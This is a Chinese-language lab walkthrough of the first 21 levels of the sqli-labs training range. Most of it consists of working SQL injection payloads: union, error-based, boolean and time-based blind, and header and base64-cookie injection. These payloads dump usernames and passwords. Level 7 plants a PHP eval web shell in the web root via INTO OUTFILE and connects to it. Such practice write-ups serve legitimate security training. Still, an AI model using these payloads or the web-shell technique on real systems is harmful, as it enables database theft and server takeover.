题前介绍
本文章将进行sql-labs靶场前21关通过演示供大家阅读查询,事先安装方法与环境将不在演示。
第一关
在状态栏中输入
?id=1
查看注入点
在id=1 后加入 ' 后显示
由此处可以发现是字符型注入,且闭合方式为 ' (%27代表此处为一个 ')
此时,在最后加入--+,将后面内容注释
这是我们的注入点就清晰了起来
使用
?id=1' order by 3 --+
进行2分查询
在多次尝试后,发现显示行数为3行,且第一行无法修改,2,3行可用于显示查询结果
于是我们使用union进行联合查询
?id=1' union select 1,2,3 --+
将2,改为database()
查询到数据库名为 security
修改代码
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询表中,属于数据库security的表名
通过获得的表名再次将代码进行修改
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
此命令查看了表名为columns的表中,table_schema列中库名为security 并且 table_name列中表名为users的信息,得到
再次对代码进行修改
?id=-1' union select 1,2,group_concat(concat_ws(';',username,password)) from security.users--+
我们获得了以;进行分割,表中的所有username和password
第二关
第二关较于第一关,区别不大,仅区别于闭合方式的变化
通过?id=1查看注入点
使用 ' 判断闭合方式
通过多次判断,发现第二关属于数值型,则不使用符号进行闭合
重复第一关中操作,
最后修改后查询得到的结果
第三关
与前两关同一类型
使用标识符判断闭合方式
闭合方式为双引号,重复上述操作
第四关
判断闭合方式
得到闭合方式为双引号加小括号
第五关
第五关开始题目变为另一类型,将不再有内容回显,但是可以通过界面错误信息进行判断
通过闭合方式测试发现,闭合方式为单引号
因为有错误信息提醒,我们优先进行长度判断
?id=1' and length((select database()))=8--+
进行尝试后发现,数据库的长度为8
继续进行字符判断
?id=1' and left((select database()),1)='s'--+
通过多次判断得到数据库名为 security
通过数据库名,继续进行查找
因为前边第一关,查询过表名,所以我在此处直接对比
若不知道内容,正常使用时,可使用left进行
通过此种方法可根据正确与否,判断输入内容的对错
第六关
与第五关类似
此处判断闭合方式
根据报错信息判断为双引号闭合
查询方式同第五关
第七关
判断闭合方式
闭合方式为'))
此关因没有回显信息,和报错信息,所以以上方式均无法使用
因我们所使用的为靶场,此时我们找到本机上靶场数据库文件所在位置,在phpstudy文件下
在数据库配置文件中的 配置项含有:secure_file_priv=‘’。(注意在数据库中此项默认为secure_file_priv=null)无法写入
首先使用命令行连接mysql数据库
如果没有添加环境变量可以到我们phpstudy的mysql文件位置
然后进入到bin目录下
shift+右键
打开命令行,输入密码连接数据库
BASH
1 | mysql -u root -p |
查看secure_file_priv配置,如果为null则无法进行文件导出操作,默认为null
BASH
1 | show variables like '%secure%'; |
打开mysql
下的my.ini
将secure_file_priv="/"
添加到配置文件
此时重启mysql服务,然后再次查询,发现已经成功了,此时我们已经对C:\目录下的所有文件具有写入权限了
BASH
1 | show variables like '%secure%'; |
此时我们拥有了写入权限,且知道文件所在位置,开始进行木马植入
?id=1')) union select 1,2,'<?php @eval($_POST["config"]);?>' into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\tes.php"--+
此时在文件内的less-7目录下
使用蚁剑连接木马
连接成功
也可以利用此办法将数据写入这种可访问的文件
将数据写入可访问的文件
payload:将数据写入result.txt
BASH
1 | ?id=-1')) union select 1,2,group_concat(username,0x7e,password)from users into outfile "C:\\phpStudy\\WWW\\result.txt"--+ |
访问result.txt
第八关
首先进行闭合判断
闭合方式为单引号
此关与第五关,第六关属同一类型
第九关(时间盲注)
第九关开始出现改变
当我们使用?id=1进行注入点查询的时候,发现无论怎么修改都无法获得错误提示,且页面都没有发生改变,所以此处我们使用时间盲注
?id=1' and sleep(10)--+
当我们输入后运行,发现页面经过10秒后才正常显示,由此可以判断闭合方式为单引号,
继续判断数据库名
?id=1' and if(ascii(substring((select database()),1,1))>10,sleep(10),0)--+
判断语句中,第一个1为开始判断位置,第二个1为判断字符个数
或使用
?id=1' and if(left((select database()),1)='s',sleep(10),1)--+
通过时间盲注进行判断
通过判断得到第一个字符为s ,依次判断最后得到数据库名为 security
依次方法,结合前几关查询得到需要获取的内容
第十关
判断闭合方式
闭合方式为双引号
其他判断内容同前几关
第十一关
界面
判断注入点
像是这种post类型的,可以现在每一个输入框内进行尝试,先在username中使用单引号进行尝试
payload
1' or 1=1 #
结果:登陆成功,说明闭合方式为单引号,并且有回显,我们就可以尝试联合查询注入
判断字段数
payload
1' order by 3 #
结果:不是三列
payload
1' order by 2 #
结果:字段数为2列
判断回显位
payload
-1' union select 1,2 #
结果:
爆破数据库名
payload
-1' union select 1,database() #
结果:得到数据库名称security
爆破表名
payload
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
结果:表名emails,referers,uagents,users
爆破字段名
payload
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #
结果:users表的字段名id,username,password
爆破数据
payload
-1' union select 1,group_concat(username,0x7e,password) from users #
结果:得到数据
第十二关
因为内容有回显,所有我们使用\判断注入点和闭合方式
通过报错信息,得到闭合方式为双引号+括号
判断字段数
1") ORDER BY 2#
得到字段数为2行
判断回显位置
1") union select 1,2#
得到回显位置信息
查看数据库名称
") union select database(),2#
得到数据库名
查看表名
") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
得到表名
获取表中列名
") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#
此时我们得到了需要的username和password
查看username和password
") union select 1,group_concat(concat_ws(';',username,password)) from security.users#
此时所有的信息我们都得到了
第十三关
判断注入点
\
得到闭合方式为单引号加括号
因为有报错回显,所以本次我们使用报错注入
1') and updatexml(1,concat(0x7e,database()),1)#
得到数据库名称为 security
其余查询方式均与前几关相同
第十四关
使用\判断闭合方式
得到闭合方式为双引号闭合
其他查询方式参考前几关
第十五关
本关无回显
但是可以通过下方查看是否登录成功
失败
成功
所以本关使用 闭合符号+ or 1=1#进行判断
最后得到闭合方式为单引号
使用判断方式,与时间盲注来判断数据库名
' or if(left((database()),1)='s',sleep(10),1)#
通过判断得到数据库名为security
其他参数查询参考前几关命令
第十六关
类似十五关
使用符号+ or 1=1#判断注入方式
得到闭合方式为双引号加小括号
同上进行数据库爆破获取需要参数
第十七关
通过上方黄色信息发现(密码重置),疑似密码注入可能,但不排除用户名可注入,所以优先使用用户名进行尝试,发现没有注入点,在用户名输入时不会报错
此时,在密码处进行注入尝试
发现可以正常访问,所以第十七关是在密码处进行注入
进行版本号查看
' or updatexml(1,concat("!",version()),2)#
查看数据库信息
' or updatexml(1,concat("!",(select group_concat(table_name)from information_schema.tables where table_schema='security')),2)#
查看表字段信息
第十八关
本关使用burp进行注入
在用户名和密码多次尝试后发现没有sql注入漏洞,所有,进入burp进行修改
首先我们进行正常登录
admin
admin
查看界面是否有回显,且回显显示位置
回显中有 Your User Agent is字段
使用burp拦截并在放到重放器中
根据上方显示的信息,我们尝试对 User-Agent 修改
User-Agent:'
产生报错,此处有注入点,验证闭合方式为单引号
User-Agent: ' or updatexml(1,concat(0x7e,(select database())),1),1) #
得到数据库名称
继续查询字段名
'or updatexml(1,concat("!",(select group_concat(table_name)from information_schema.tables where table_schema = 'security')),2) or'
其他查看前几关
第十九关
本关同第十八关类似,但显示位置改变
使用
admin
admin
进行正常登录
发现显示内容 Your Referer is:
根据内容,我们到burp中进行抓包,并使用重放器查看
这是我们发现了其中的referer请求头
尝试修改后面信息
referer:'
产生报错信息,此处有注入点,尝试验证闭合方式后发现闭合方式为')
尝试爆破数据库名称
Referer: ') or updatexml(1,concat(0x7e,database()),1)#
发现报错,似乎不是查询语句。尝试使用插入语句进行尝试
' or updatexml(1,concat(0x7e,database()),1))#
得到数据库信息,所以此处为插入语句
其他信息查询同上
第二十关
类似十八与十九关
我们在尝试usename和password后找不到注入点
使用账号密码登录
admin
admin
使用burp进行抓包,在重放器查看
抓包登录之后的信息
尝试修改username处信息,查看是否有注入点
Cookie: uname=' ;
修改后报错信息处得到需要信息,闭合方式为单引号
进行爆破数据库名
cookie:uname=' and updatexml(1,concat(0x7e,database()),1)#
得到数据库名称,其他内容同上
第二十一关
使用正确用户名密码登录
admin
admin
burp抓包,重放器查看
获得信息,cookie中的用户名使用了加密,因为最后%3D是url编码,为=,所以存疑可能为BASE64加密(BASE64加密结尾自带=),尝试使用Burp自带解密进行查看
尝试输入一个单引号,进行base64加密
查看是否有注入点
Cookie: uname=Jw==;
根据报错信息可知,闭合方式为单引号加小括号
将查询数据库名语句进行base64加密
Cookie: uname=JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCkpLDEpIw== ;
得到需要数据库名 Security